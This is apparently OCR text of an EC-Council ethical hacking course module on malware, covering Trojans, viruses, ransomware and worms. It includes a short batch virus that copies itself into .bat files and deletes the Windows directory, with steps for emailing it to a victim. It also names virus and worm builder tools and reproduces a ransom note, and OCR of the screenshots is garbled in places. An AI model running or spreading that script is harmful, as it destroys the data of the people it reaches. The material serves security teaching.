///// gt Rootkit Trojans 11  Security Software Disabler Trojans
7/ S E-Banking Trojans 12 Destructive Trojans

/
- i -
/ — Point-of-Sale Trojans 13 DDoS Attack Trojans
2

Defacement Trojans 14 Command Shell Trojans
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Types of Trojans

Trojan are classified into many categories depending on the exploit functionality targets. Some
Trojan types are listed below:

1. Remote Access Trojans: Remote access Trojans (RATs) provide attackers with full
control over the victim’s system, thereby enabling them to remotely access files, private
conversations, accounting data, etc. The RAT acts as a server and listens on a port that is
not supposed to be available to Internet attackers.

2. Backdoor Trojans: A backdoor is a program that can bypass the standard system
authentication or conventional system mechanisms such as IDS and firewalls, without
being detected. In these types of breaches, hackers leverage backdoor programs to
access the victim’s computer or network. The difference between this type of malware
and other types of malware is that the installation of the backdoor is performed without
the user’s knowledge. This allows the attacker to perform any activity on the infected
computer, such as transferring, modifying, or corrupting files, installing malicious
software, and rebooting the machine, without user detection.

3. Botnet Trojans: Today, most major information security attacks involve botnets.
Attackers (also known as “bot herders”) use botnet Trojans to infect a large number of
computers throughout a large geographical area to create a network of bots (or a “bot
herd”) that can achieve control via a command-and-control (C&C) center. They trick
regular computer users into downloading Trojan-infected files to their systems through
phishing, SEO hacking, URL redirection, etc. Once the user downloads and executes this
botnet Trojan in the system, it connects back to the attacker using IRC channels and
waits for further instructions.
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10.

11.

Rootkit Trojans: As the name indicates, “rootkit” consists of two terms, i.e., “root” and
“kit.” “Root” is a UNIX/Linux term that is the equivalent of “administrator” in Windows.
The word “kit” denotes programs that allow someone to obtain root-/admin-level
access to the computer by executing the programs in the kit. Rootkits are potent
backdoors that specifically attack the root or OS. Unlike backdoors, rootkits cannot be
detected by observing services, system task lists, or registries. Rootkits provide full
control of the victim OS to the attacker.

E-Banking Trojans: E-banking Trojans are extremely dangerous and have emerged as a
significant threat to online banking. They intercept the victim's account information
before the system can encrypt it and send it to the attacker's command-and-control
center. Installation of these Trojans takes place on the victim’s computer when he or
she clicks a malicious email attachment or a malicious advertisement. Attackers
program these Trojans to steal minimum and maximum monetary amounts, so that they
do not withdraw all the money in the account, thereby avoiding suspicion.

Point-of-Sale Trojans: As the name indicates, point-of-sale (POS) Trojans are a type of
financial fraudulent malware that target POS and payment equipment such as credit
card/debit card readers. Attackers use POS Trojans to compromise such POS equipment
and grab sensitive information regarding credit cards, such as credit card number,
holder name, and CVV number.

Defacement Trojans: Defacement Trojans, once spread over the system, can destroy, or
change the entire content of a database. However, they are more dangerous when
attackers target websites, as they physically change the underlying HTML format,
resulting in the modification of content. In addition, significant losses may be incurred
due to the defacement of e-business targets by Trojans.

Service Protocol Trojans: These Trojans can take advantage of vulnerable service
protocols such as VNC, HTTP/HTTPS, and ICMP, to attack the victim’s machine.

Mobile Trojans: Mobile Trojans are malicious software that target mobile phones.
Mobile Trojan attacks are increasing rapidly due to the global proliferation of mobile
phones. The attacker tricks the victim into installing the malicious application. When the
victim downloads the malicious app, the Trojan performs various attacks such as
banking credential stealing, social networking credential stealing, data encryption, and
device locking.

loT Trojans: Internet of things (loT) refers to the inter-networking of physical devices,
buildings, and other items embedded with electronics. 0T Trojans are malicious
programs that attack loT networks. These Trojans leverage a botnet to attack other
machines outside the loT network.

Security Software Disabler Trojans: Security software disabler Trojans stop the working
of security programs such as firewalls, and IDS, either by disabling them or killing the
processes. These are entry Trojans, which allow an attacker to perform the next level of
attack on the target system.
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12.
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14.

Destructive Trojans: The sole purpose of a destructive Trojan is to delete files on a
target system. Antivirus software may not detect destructive Trojans. Once a destructive
Trojan infects a computer system, it randomly deletes files, folders, and registry entries
as well as local and network drives, often resulting in OS failure.

DDoS Attack Trojans: These Trojans are intended to perform DDoS attacks on target
machines, networks, or web addresses. They make the victim a zombie that listens for
commands sent from a DDoS Server on the Internet. There will be numerous infected
systems standing by for a command from the server, and when the server sends the
command to all or a group of the infected systems, since all the systems perform the
command simultaneously, a considerable amount of legitimate requests flood the target
and cause the service to stop responding.

Command Shell Trojans: A command shell Trojan provides remote control of a
command shell on a victim’s machine. A Trojan server is installed on the victim's
machine, which opens a port, allowing the attacker to connect. The client is installed on
the attacker's machine, which is used to launch a command shell on the victim’s
machine. Netcat, DNS Messenger, GCat are some of the latest command shell Trojans.
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Creating a Trojan
J Trojan Horse construction kits help attackers to construct Trojan horses of their choice
J The tools in these kits can be dangerous and can backfire if not properly executed
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Creating a Trojan
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Attackers can create Trojans using various Trojan horse construction kits such as DarkHorse
Trojan Virus Maker, and Senna Spy Trojan Generator.

Trojan Horse Construction Kit

Trojan horse construction kits help attackers construct Trojan horses and customize them
according to their needs. These tools are dangerous and can backfire if not properly executed.
New Trojans created by attackers remain undetected when scanned by virus- or Trojan-
scanning tools, as they do not match any known signatures. This added benefit allows attackers

to succeed in launching attacks.

= Theef RAT Trojan

Theef is a Remote Access Trojan written in Delphi. It allows remote attackers access to
the system via port 9871. Theef is a Windows-based application for both client and
server. The Theef server is a virus that you install on a target computer, and the Theef
client is what you then use to control the virus.
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Figure 3.3: Screenshot of Theef RAT Trojan
Some additional Trojan horse construction kits are as follows:
= DarkHorse Trojan Virus Maker

= Trojan Horse Construction Kit

Senna Spy Trojan Generator

Batch Trojan Generator

Umbra Loader - Botnet Trojan Maker
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What is a Virus?

O Avirus is a self-replicating program that produces
its own copy by attaching itself to another program,
computer boot sector or document

QO Viruses are generally transmitted through file
downloads, infected disk/flash drives, and as
email attachments

= Infect other programs
=  Transform themselves

Characteristics Encrypt themselves

of Viruses = Alter data

= Corrupt files and programs

= Self-replicate
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Viruses

What is a Virus?

Viruses are the scourge of modern computing. Computer viruses have the potential to wreak
havoc on both business and personal computers. The lifetime of a virus depends on its ability to
reproduce itself. Therefore, attackers design every virus code such that the virus replicates
itself n times.

A computer virus is a self-replicating program that produces its code by attaching copies of
itself to other executable code and operates without the knowledge or consent of the user. Like
a biological virus, a computer virus is contagious and can contaminate other files; however,
viruses can infect external machines only with the assistance of computer users.

Virus reproduces its own code while enclosing other executables, and spreads throughout the
computer. Viruses can spread the infection by damaging files in a file system. Some viruses
reside in the memory and may infect programs through the boot sector. A virus can also be in
an encrypted form.

Some viruses affect computers as soon as their code is executed; other viruses remain dormant
until a pre-determined logical circumstance is met. Viruses infect a variety of files, such as
overlay files (.OVL) and executable files (.EXE, .SYS, .COM, or .BAT). They are transmitted
through file downloads, infected disk/flash drives, and email attachments.

A virus can only spread from one PC to another when its host program is transmitted to the
uncorrupted computer. This can occur, for example, when a user transmits it over a network, or
executes it on removable media. Viruses are sometimes confused with worms, which are
standalone programs that can spread to other computers without a host. A majority of PCs are
now connected to the Internet and to local area networks, which aids in increasing their spread.
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Characteristics of Viruses

The performance of a computer is affected by a virus infection. This infection can lead to data
loss, system crash, and file corruption.

Some of the characteristics of a virus are as follows:
= |nfects other programs
= Transforms itself
= Encrypts itself
= Alters data
= Corrupts files and programs

= Replicates itself
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Purpose of Creating Viruses
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Purpose of Creating Viruses

Attackers create viruses with disreputable motives. Criminals create viruses to destroy a
company’s data, as an act of vandalism, or to destroy a company’s products; however, in some
cases, viruses aid the system.

An attacker creates a virus for the following purposes:
= |nflict damage on competitors
= Realize financial benefits
= Vandalize intellectual property
= Play pranks
= Conduct research
= Engage in cyber-terrorism
= Distribute political messages
= Damage networks or computers

= Gain remote access to a victim's computer

Module 03 Page 132 Ethical Hacking Essentials Copyright © by EG-Council
All Rights Reserved. Reproduction is Strictly Prohibited.




Ethical Hacking Essentials Exam 112-52
Information Security Threats and Vulnerability Assessment

Indications of Virus Attack
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Indications of Virus Attack

Indications of virus attacks arise from abnormal activities. Such activities reflect the nature of a
virus by interrupting the regular flow of a process or a program. However, not all bugs created
contribute toward attacking the system; they may be merely false positives. For example, if the
system runs slower than usual, one may assume that a virus has infected the system; however,
the actual reason might be program overload.

An effective virus tends to multiply rapidly and may infect some machines in a short period.
Viruses can infect files on the system, and when such files are transferred, they can infect
machines of other users who receive them. A virus can also use file servers to infect files.

When a virus infects a computer, the victim or user will be able to identify some indications of
the presence of virus infection.

Some indications of computer virus infection are as follows:

=  Processes require more resources = Files and folders are missing
and time, resulting in degraded

¢ = Suspicious hard drive activity
performance

) ) = Browser window “freezes”
=  Computer beeps with no display

) = Lack of storage space
= Drive label changes and OS does not

load » Unwanted advertisements and pop-
. up windows
= Constant antivirus alerts
= Unable to open files in the system
=  Computer freezes frequently or

encounters an error such as BSOD = Strange emails received
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Stages of Virus Lifecycle
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Stages of Virus Lifecycle

The virus lifecycle includes the following six stages from origin to elimination.
1. Design: Development of virus code using programming languages or construction Kkits.

2. Replication: The virus replicates for a period within the target system and then spreads
itself.

3. Launch: The virus is activated when the user performs specific actions such as running
an infected program.

4. Detection: The virus is identified as a threat infecting target system.
5. Incorporation: Antivirus software developers assimilate defenses against the virus.

6. Execution of the damage routine: Users install antivirus updates and eliminate the virus
threats.
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How does a Computer Get Infected by Viruses?
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How does a Computer Get Infected by Viruses?

To infect a system, first, a virus has to enter it. Once the user downloads and installs the virus
from any source and in any form, it replicates itself to other programs. Then, the virus can
infect the computer in various ways, some of which are listed below:

Downloads: Attackers incorporate viruses in popular software programs and upload
them to websites intended for download. When a user unknowingly downloads this
infected software and installs it, the system is infected.

Email attachments: Attackers usually send virus-infected files as email attachments to
spread the virus on the victim’s system. When the victim opens the malicious
attachment, the virus automatically infects the system.

Pirated software: Installing cracked versions of software (OS, Adobe, Microsoft Office,
etc.) might infect the system as they may contain viruses.

Failing to install security software: With the increase in security parameters, attackers
are designing new viruses. Failing to install the latest antivirus software or regularly
update it may expose the computer system to virus attacks.

Updating software: If patches are not regularly installed when released by vendors,
viruses might exploit vulnerabilities, thereby allowing an attacker to access the system.

Browser: By default, every browser comes with built-in security. An incorrectly
configured browser could result in the automatic running of scripts, which may, in turn,
allow viruses to enter the system.

Firewall: Disabling the firewall will compromise the security of network traffic and invite
viruses to infect the system.
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= Pop-ups: When the user clicks any suspicious pop-up by mistake, the virus hidden
behind the pop-up enters the system. Whenever the user turns on the system, the
installed virus code will run in the background.

= Removable media: When a healthy system is associated with virus-infected removable
media (e.g., CD/ DVD, USB drive, card reader), the virus spreads the system.

= Network access: Connecting to an untrusted Wi-Fi network, leaving Bluetooth ON, or
permitting a file sharing program that is accessed openly will allow a virus to take over
the device.

= Backup and restore: Taking a backup of an infected file and restoring it to a system
infects the system again with the same virus.

= Malicious online ads: Attackers post malicious online ads by embedding malicious code
in the ads, also known as malvertising. Once users click these ads, their computers get
infected.

» Social Media: People tend to click on social media sites, including malicious links shared
by their contacts, which can infect their systems.
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Types of Viruses

° U Viruses are categories according to their functioning and targets
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Types of Viruses

Viruses are categories according to their functioning and targets. Some of the most common
types of computer viruses that adversely affect the security of systems are listed below:

1. System or Boot Sector Virus: The most common targets for a virus are the system
sectors, which include the master boot record (MBR) and the DOS boot record system
sectors. The primary carriers of system or boot sector viruses are email attachments and
removable media (USB drives). A boot sector virus moves MBR to another location on
the hard disk and copies itself to the original location of MBR. When the system boots,
first, the virus code executes and then control passes to the original MBR.

2. File Virus: File viruses infect files executed or interpreted in the system, such as COM,
EXE, SYS, OVL, OBJ, PRG, MNU, and BAT files. File viruses can be direct-action (non-
resident) or memory-resident viruses. File viruses insert their code into the original file
and infect executable files. Such viruses are numerous, albeit rare. They infect in a
variety of ways and are found in numerous file types.

3. Multipartite Virus: A multipartite virus (also known as a multipart virus or hybrid virus)
combines the approach of file infectors and boot record infectors and attempts to
simultaneously attack both the boot sector and the executable or program files. When
the virus infects the boot sector, it will, in turn, affect the system files and vice versa.
This type of virus re-infects a system repeatedly if it is not rooted out entirely from the
target machine. Some examples of multipartite viruses include Invader, Flip, and
Tequila.

4. Macro Virus: Macro viruses infects Microsoft Word or similar applications by
automatically performing a sequence of actions after triggering an application. Most
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10.

11.

macro viruses are written using the macro language Visual Basic for Applications (VBA),
and they infect templates or convert infected documents into template files while
maintaining their appearance of common document files.

Cluster Virus: Cluster viruses infect files without changing the file or planting additional
files. They save the virus code to the hard drive and overwrite the pointer in the
directory entry, directing the disk read point to the virus code instead of the actual
program. Even though the changes in the directory entry may affect all the programs,
only one copy of the virus exists on the disk.

Stealth/Tunneling Virus: These viruses try to hide from antivirus programs by actively
altering and corrupting the service call interrupts while running. The virus code replaces
the requests to perform operations with respect to these service call interrupts. These
viruses state false information to hide their presence from antivirus programs. For
example, a stealth virus hides the operations that it modified and gives false
representations. Thus, it takes over portions of the target system and hides its virus
code.

Encryption Virus: Encryption viruses or cryptolocker viruses penetrate the target system
via freeware, shareware, codecs, fake advertisements, torrents, email spam, and so on.
This type of virus consists of an encrypted copy of the virus and a decryption module.
The decryption module remains constant, whereas the encryption makes use of
different keys.

Sparse Infector Virus: To spread infection, viruses typically attempt to hide from
antivirus programs. Sparse infector viruses infect less often and try to minimize their
probability of discovery. These viruses infect only occasionally upon satisfying certain
conditions or infect only those files whose lengths fall within a narrow range.

Polymorphic Virus: Such viruses infect a file with an encrypted copy of a polymorphic
code already decoded by a decryption module. Polymorphic viruses modify their code
for each replication to avoid detection. They accomplish this by changing the encryption
module and the instruction sequence. Polymorphic mechanisms use random number
generators in their implementation.

Metamorphic Virus: Metamorphic viruses are programmed such that they rewrite
themselves completely each time they infect a new executable file. Such viruses are
sophisticated and use metamorphic engines for their execution. Metamorphic code
reprograms itself. It is translated into temporary code (a new variant of the same virus
but with different code) and then converted back into the original code. This technique,
in which the original algorithm remains intact, is used to avoid pattern recognition by
antivirus software. Metamorphic viruses are more effective than polymorphic viruses.

Overwriting File or Cavity Virus: Some programs have empty spaces in them. Cavity
viruses, also known as space fillers, overwrite a part of the host file with a constant
(usually nulls), without increasing the length of the file while preserving its functionality.
Maintaining a constant file size when infecting allows the virus to avoid detection.
Cavity viruses are rarely found due to the unavailability of hosts and code complexity.

Module 03 Page 138 Ethical Hacking Essentials Copyright © by EG-Council

All Rights Reserved. Reproduction is Strictly Prohibited.




Ethical Hacking Essentials Exam 112-52
Information Security Threats and Vulnerability Assessment

12.

13.

14.

15.

16.

17.

18.

19.

Companion Virus/Camouflage Virus: The companion virus stores itself with the same
filename as the target program file. The virus infects the computer upon executing the
file, and it modifies the hard disk data. Companion viruses use DOS to run COM files
before the execution of EXE files. The virus installs an identical COM file and infects EXE
files.

Shell Virus: The shell virus code forms a shell around the target host program’s code,
making itself the original program with the host code as its sub-routine. Nearly all boot
program viruses are shell viruses.

File Extension Virus: File extension viruses change the extensions of files. The extension
.TXT is safe as it indicates a pure text file. With extensions turned off, if someone sends
you a file named BAD.TXT.VBS, you will only see BAD.TXT. If you have forgotten that
extensions are turned off, you might think that this is a text file and open it. It actually is
an executable Visual Basic Script virus file and could cause severe damage.

FAT Virus: A FAT virus is a computer virus that attacks the File Allocation Table (FAT), a
system used in Microsoft products and some other types of computer systems to access
the information stored on a computer. By attacking the FAT, a virus can cause severe
damage to a computer. FAT viruses can work in a variety of ways. Some are designed to
embed themselves into files so that when the FAT accesses the file, the virus is
triggered. Others may attack the FAT directly.

Logic Bomb Virus: A logic bomb is a virus that is triggered by a response to an event,
such as the launching of an application or when a specific date/time is reached, where it
involves logic to execute the trigger. When a logic bomb is programmed to execute on a
specific date, it is referred to as a time bomb. Time bombs are usually programmed to
set off when important dates are reached, such as Christmas and Valentine’s Day.

Web Scripting Virus: A web scripting virus is a type of computer security vulnerability
that breaches your web browser security through a website. This allows attackers to
inject client-side scripting into the web page. It can bypass access controls and steal
information from the web browser. Web scripting viruses are usually used to attack sites
with large populations, such as sites for social networking, user reviews, and email.

Email Virus: An e-mail virus refers to computer code sent to you as an e-mail
attachment, which if activated, will result in some unexpected and usually harmful
effects, such as destroying specific files on your hard disk and causing the attachment to
be emailed to everyone in your address book. Email viruses perform a wide variety of
activities, from creating pop-ups to crashing systems or stealing personal data.

Armored Virus: Armored viruses are viruses that are designed to confuse or trick
deployed antivirus systems to prevent them from detecting the actual source of the
infection. These viruses make it difficult for antivirus programs to trace the actual source
of the attack. They trick antivirus programs by showing some other location even
though they are actually on the system itself.
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22.

23.

Add-on Virus: Add-on viruses append their code to the host code without making any
changes to the latter or relocate the host code to insert their code at the beginning.

Intrusive Virus: Intrusive viruses overwrite the host code completely or partly with the
viral code.

Direct Action or Transient Virus: Direct action or transient viruses transfer all controls of
the host code to where it resides in the memory. It selects the target program to be
modified and corrupts it. The life of a transient virus is directly proportional to the life of
its host. Therefore, transient virus executes only upon the execution of its attached
program and terminates upon the termination of its attached program. At the time of
execution, the virus may spread to other programs. This virus is transient or direct, as it
operates only for a short period and goes directly to the disk to search for programs to
infect.

Terminate and Stay Resident Virus (TSR): A terminate and stay resident (TSR) virus
remains permanently in the target machine’s memory during an entire work session,
even after the target host’s program is executed and terminated. The TSR virus remains
in memory and therefore has some control over the processes.
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Exam 112-52

= Writing a Virus Program

= UsingVirus Maker Tools

Creating a Virus

A virus can be created in two different ways:

Create a batch file
Game.bat with this text

Writing a Virus

Program

@ echo off

for %%f in (*.bat) do
copy %%f + Game.bat
del c:\Windows\*.*

Convert the Game.bat
batch file to Game.com
using the bat2com utility

Send the Game.com file as
an email attachment to a
victim

K

eeeecaee]

........... 99

qororrenns

When run, it copies itself to
all the .bat files in the current
directory and deletes all the
files in the Windows directory
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Using Virus
Maker Tools

Creating a Virus

Creating a Virus (Cont’d)

Virus Maker Tools
DELmE’s Batch Virus Maker
Bhavesh Virus Maker SKW

Deadly Virus Maker

SonicBat Batch Virus Maker

TeraBIT Virus Maker

Andreinick05's Batch Virus
Maker

JPS Virus Maker

3PS ( Virus Maker 4.0 )

Tumn Of
3

X Auto Startup

Turnoff Hibrin;

A virus can be created in two ways: writing a virus program and using virus maker tools.
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Writing a Simple Virus Program

The following steps are involved in writing a simple virus program:

1.

Create a batch file Game.bat with the following text:

@ echo off

for %%f in (*.bat) do copy %%f + Game.bat

del c:\Windows\*.*

Convert the Game.bat batch file into Game.com using the bat2com utility
Send the Game.com file as an email attachment to the victim

When Game.com is executed by the victim, it copies itself to all the .bat files in the
current directory on the target machine and deletes all the files in the Windows
directory

Using Virus Maker Tools

Virus maker tools allow you to customize and craft your virus into a single executable
file. The nature of the virus depends on the options available in the virus maker tool.

Once the virus file is built and executed, it can perform the following tasks:

(@]

o

(@]

@)

©)

Disable Windows command prompt and Windows Task Manager
Shut down the system

Infect all executable files

Inject itself into the Windows registry and start up with Windows

Perform non-malicious activity such as unusual mouse and keyboard actions

The following tools are useful for testing the security of your own antivirus software.

©)

DELmE’s Batch Virus Maker

DELmE’s Batch Virus Generator is a virus creation program with many options to
infect the victim’s PC, such as formatting the C: drive, deleting all the files in the hard
disk drive, disabling admin privileges, cleaning the registry, changing the home page,
killing tasks, and disabling/removing the antivirus and firewall.
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DELmE's Batch Virus Maker v 2.0 =] = ==
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| Infect All Exe Files | | Infect All .Lnk Files | | Infect All.Doc Files |
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‘ Save As Bat

Virus Name Connect Trojan

Virus Author — Fahinhoff
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| Start Over | Exit

|
| ‘ Save As Tut
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DELmE's Batch Virus Maker Info
DELmE's Batch Virus Maker.

Version: 2.0

Scripting Language: Autolt w3.3.0.0

Coded By: DELmE

Coded for: Members of HackForums. Net
To contact me visit Hack Forums Met and send me a message

Please view the User Agreement by clicking the "Agreement button” and make
sure you fully understand and agree with the agreement.

(L infect | (Linfect ]
(Linfect | (Linfect ]
(infect | (Linfect ]
(infect | (Linfect ]
(Linfect | (Linfect ]

An Email Attachment

Figure 3.4: Screenshot of DELmE’s Batch Virus Maker

o JPS Virus Maker

JPS Virus Maker tool is used to create customized viruses. It has many in-built
options to create a virus. Some of the features of this tool are auto-startup, disable
task manager, disable control panel, enable remote desktop, turn off Windows

Defender, etc.
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JPS ( Virus Maker 4.0 ) !m

Virus Options :
Di :
nfig
Disable TaskManager Hide Desktop Icons
le Telegram Hide Run
Disahle Media Flayer

Disable Internet Explarer

Enable ote Desktop
Destroy Clipboard

» | Disahle Windows Update
*  Disable Control Panel

Turn O
Run In System

Auto

tart f TurnOff Hibrinate | Mone

Mame After Install : 5 Mame :
B rbout B 8. create virus! | x86(338it) | ~ Exit (1)

Figure 3.5: Working of JPS Virus Maker
Some additional virus maker tools are as follows:
= Bhavesh Virus Maker SKW
= Deadly Virus Maker
= SonicBat Batch Virus Maker
= TeraBIT Virus Maker
= AndreinickO5's Batch Virus Maker
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O A type of malware that restricts access to the computer system’s
files and folders

Ransomware °
U Demands an online ransom payment to the malware creator(s)

to remove the restrictions

Files get encrypted
and access is blocked
demanding ransom

mEEn
Attaches EEEER |
Ransomware
in e-mail

Malware executes
and gets installed

Attacker unlocks and
provides access

Attacker Victim pays ransom

to get access

Victim gets access
to files
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Ransomware (Cont’d)

Ransomware

RS e Families

P
All your files have been encrypted! Cerber

CTB-Locker
Sodinokibi

Dharma is a
dreadful
ransomware that
attacks victims
through email
campaigns; the
ransom notes ask
the victims to
contact the threat
actors via a
provided email
address and pay in

All your files have been encrypted due to a security problem with your PC. If you want to restore them, write us to the e-mail
eadmundcoutts@aol com

Write this ID in the title of your message AC197B68

In case of no answer in 24 hours write us to theese e-mails: mclainmelvin@aol.com

“Yous have to pay for decryption i Bitcains. The price depends on how fast you wiite to Us. After payment we wl send you the decrypion tool that

BitPaymer
tion as guarantee
you can send Us p 1o 1 fie for free decryption. The total size of fles must be less than 1Mb (non archived), and fles shoukd
rabusble information. (datsbases backups, large excel sheets, et

CryptXXX

Cryptorbit
ransomware

scan find other places to buy Bitcoins and begrmers guid here:

ondesk.

Crypto Locker
Ransomware

ot rename encrypted fls
oty to decrypt your dista Using thrd party software, it may cause permanent data kss.
of your fies with the help of thrd partes may cause increased pre (they add ther fe to our) er you can become a victim of & scam.

bitcoins for the

decryption service
Dharma - Ransom Notes

Crypto
Defense
Ransomware

Crypto Wall
Ransomware
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Ransomware

Ransomware is a type of malware that restricts access to the infected computer system or
critical files and documents stored on it, and then demands an online ransom payment to the
malware creator(s) to remove user restrictions. Ransomware is a type of crypto-malware that
might encrypt files stored on the system’s hard disk or merely lock the system and display
messages meant to trick the user into paying the ransom.
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Usually, ransomware spreads as a Trojan, entering a system through email attachments, hacked
websites, infected programs, app downloads from untrusted sites, vulnerabilities in network
services, and so on. After execution, the payload in the ransomware runs and encrypts the
victim’s data (files and documents), which can be decrypted only by the malware author. In
some cases, user interaction is restricted using a simple payload.

In a web browser, a text file or webpage displays the ransomware demands. The displayed
messages appear to be from companies or law enforcement personnel falsely claiming that the
victim’s system is being used for illegal purposes or contains illegal content (e.g., porn videos,
pirated software), or it could be a Microsoft product activation notice falsely claiming that
installed Office software is fake and requires product re-activation. These messages entice
victims into paying money to undo the restrictions imposed on them. Ransomware leverages
victims’ fear, trust, surprise, and embarrassment to get them to pay the ransom demanded.

Files get encrypted
and access is blocked
demanding ransom

Attaches EmEEE EEEEE
Ransomware nmERE S >
Attacker in e-mail Malware executes Victim pays ransom Attacker unlocks and Victim gets access
and getsinstalled to get access provides access to files

Figure 3.6: Depiction of ransomware attack
Ransomware Families

Listed below are some of the ransomware families:

=  Cerber = CryptorBit

= CTB-Locker = CryptoLocker

=  Sodinokibi = CryptoDefense

= BitPaymer =  CryptoWall

= CryptXXX = Police-themed Ransomware

Examples of Ransomware
= Dharma

Dharma is a dreadful ransomware that was first identified in 2016; since then, it has
been affecting various targets across the globe with new versions. It has been regularly
updated with sophisticated mechanisms in recent years. At the end of March 2019,
Dharma struck a parking lot system in Canada. Previously, it also infected a Texas
hospital and some other organizations. The variants of this ransomware have the
following extension: .adobe, .bip, .combo, .cezar, .ETH, .java. Its encrypted files have
new extensions, such as .xxxxx and .like. This ransomware employs an AES encryption
algorithm to encrypt data and then displays ransom notes. These ransom notes are
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named as either Info.hta or FILES ENCRYPTED.txt. This ransomware carries out through
email campaigns. The ransom notes ask victims to contact the threat actors via the
provided email address and pay in bitcoins for the decryption service.

cadmundcowtts@anl. con

=
All your files have been encrypted!

All your files have been encrypted due to a security problem with your PC. If you want to restore them, write us to the e-mail
eadmundcoutts@aol.com

WWirite this ID in the title of your message AC197BGS

In case of no answer in 24 hours write us to theese e-mails: mclalinmelvin@aol.com

Yo have to pay for decryplion in Bitcoing. The price depends on how fast you wiite o us, After payment we wil send you the decryption tool that
will decrypt al your fles.

Free decryption as guarantee
Before paying you can send us up to 1 fle for free decryption. The totdl size of fles must be less than IMB (non archived), and fles shoukd
ot contan valusble information. (datsbases backups, large excel sheets, efc.)

w to obtain Bitcoins
The easiest way to buy bitcoins is LocalBitcoins site. You have to regster, dick Buy bitcoins', and select the saler by payment method and

price.
btis:/Mocakitcos 1 o

ticrl!
rot rename encrypted files,
not try to decrypt your data using third party software, it may cause permanent data loss,
rypton of your fies with the help of third parties may cause increased price (they add therr fee to our) or you can become & victim of a scam

Figure 3.7: Screenshot displaying ransom demand message of Dharma ransomware

Some additional ransomware are as follows:

= eChOraix = MegaCortex
= SamSam = LockerGoga
=  WannaCry =  NamPoHyu
= Petya - NotPetya =  Ryuk
= GandCrab = CryptghOst
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Computer Worms

Malicious programs that independently replicate, execute, and spread
across the network connections

Consume available computing resources without human interaction

Attackers use worm payloads to install backdoors in infected
computers

Downloads Malicious Tea
Attacker propagates program

Worm

Infects other victim systems
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Computer Worms

Computer worms are standalone malicious programs that replicate, execute, and spread across
network connections independently without human intervention. Intruders design most worms
to replicate and spread across a network, thus consuming available computing resources and, in
turn, causing network servers, web servers, and individual computer systems to become
overloaded and stop responding. However, some worms also carry a payload to damage the
host system.

Worms are a subtype of viruses. A worm does not require a host to replicate; however, in some
cases, the worm’s host machine is also infected. Initially, black hat professionals treated worms
as a mainframe problem. Later, with the introduction of the Internet, they mainly focused on
and targeted Windows OS using the same worms by sharing them in via e-mail, IRC, and other
network functions.

Attackers use worm payloads to install backdoors on infected computers, which turns them
into zombies and creates a botnet. Attackers use these botnets to initiate cyber-attacks. Some
of the latest computer worms are as follows:

=  Monero
= Bondat
=  Beapy
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HHHH Network (el ..

Downloads Malicious

Attacker
program
propagates Worm — | ... .
>
Infects other victim systems
Figure 3.8: Depiction of worm propagation
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How is a Worm Different from a Virus?

A Worm Replicates on its own

* A worm is a special type of malware that can replicate itself and use memory
but cannot attach itself to other programs

A Worm Spreads through the Infected Network

* A worm takes advantage of file or
information transport features on
computer systems and automatically
spreads through the infected network,

but a virus does not

Copyright © by EC-Gouncil. Al Rights Reserved. Reproductionis Strictly Prohibited.

How is a Worm Different from a Virus?

Virus Worm
A virus infects a system by inserting itself A worm infects a system by exploiting a vulnerability
into a file or executable program in an OS or application by replicating itself

It might delete or alter the content of files or | Typically, a worm does not modify any stored

change the location of files in the system programs; it only exploits the CPU and memory

It alters the way a computer system It consumes network bandwidth, system memory,
operates without the knowledge or consent | etc., excessively overloading servers and computer
of a user systems

A virus cannot spread to other computers A worm can replicate itself and spread using IRC,
unless an infected file is replicated and sent | Outlook, or other applicable mailing programs after
to the other computers installation in a system

A virus spreads at a uniform rate, as

programmed A worm spreads more rapidly than a virus

Viruses are difficult to remove from infected | Compared with a virus, a worm can be removed
machines easily from a system

Table 3.2: Difference between virus and worm
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Worm Makers

@ Internet Worm Maker Thing :- Version 4.00:- Public Edition - o x Internet worm
INTERNET WORM MAKER THING V4
Worm Name: Payloads: I~ Change Homepage [~ PrintMessage I Change Date [~ Expot Windows Maker Tl‘ung
[ ie URL: e o ‘Admin Lockout Bug
Day: I™ Blue Screen Of Death
Author: '”_ — I~ Disable System Restore — hm:ﬂ Opﬁ:rs' -
— ™ Dissble Windows Searity [~ ChangeNoD32Text [~ Play aSound S Internet Worm
Version: oR I~ Disable Norton Security e 1 . .
i © Randonly ActvatePayoads | L ot loding — I Infect Vbs Fies Maker Thmg isan
o Chance of activating payloads: [~ picabje Macro Security I Loop Sound I Infect Vbe Fies
e IN[ GNE [ Diaberun Comend Message: ™ Hde eskion i open-source tool
™ Disable Shutdown Disable Malware
[V Include [C] Notice I Hide AllDrives F Dk toiort e L e I Hide Virus Files USed to create
OutputPath: ™ Disable Tesk Manager B et e I~ Dl vindors -
S I~ o Sesrn Conmand A e rorecton worms that can

Corrupt Antivirus
I Comple ToEXESupport | Disable Mouse. oo i Do |

I messievon R Secer e i infect victim's
T — drives, files, show
Startup: I Mute Speakers I Change Drive Icon

I~ Global Registry Startup [~ Change IE Title Bar messages, and

- Message: a5 I~ Delete aFile DLL, EXE, ICO: Index:
Local Registry Startup ext: ) - . .
S 1 A Path: [c:windowswor 1 dlsable antivirus
Teon: ™ Add To Contextenu ~ 1f You Lked Thi Program Please £
e s ot ol software
I~ Engish Startup s If You Know Anything About VBS
I Disable Regedit ,— Path Text (Max 8 Chars): Programming Help Support This
I~ German Startup I~ Disable Explorer.exe ,— ’— Project By Making A Plugin (See
I Spanish Startup 3 I Open Cd Drives Readme). Thanks.
I Change Reg Owner I Lock Workstation I Change Wallpaper I HackBil Gates_? |
I French Startup. Control Panel
L — B I e - Worm Makers
URL: ™ Add To Favorites i
I Change Reg Orgarisaton ™ CPU Monster s » Batch Worm Generator
Organisation: Save Ast I™ Change Time About Me.
Hour Min URL:
e o | e » C++ Worm Generator
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Worm Makers

Worm makers are tools that are used to create and customize computer worms to perform
malicious tasks. These worms, once created, spread independently over networks and poison
entire networks. With the help of pre-defined options in the worm makers, a worm can be
designed according to the task it is intended to execute.

= Internet Worm Maker Thing

Internet Worm Maker Thing is an open-source tool used to create worms that can infect
a victim's drives and files, show messages, disable antivirus software, etc. This tool
comes with a compiler that can easily convert your batch virus into an executable to
evade antivirus software or for any other purpose.
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‘a Internet Worm Maker Thing :- Version 4.00 :- Public Edition

INTERNET WORM MAKER THING V4

Worm Name:

Version:
[ =] |

Message:

[V Indude [C] Notice
Output Path:
C:\

[~ Compile To EXE Support

Spreading Options

Startup:

[~ Global Registry Startup
™ Local Registry Startup
[~ Winlogon Shell Hook
[ Start As Service

[~ English Startup

[~ German Startup

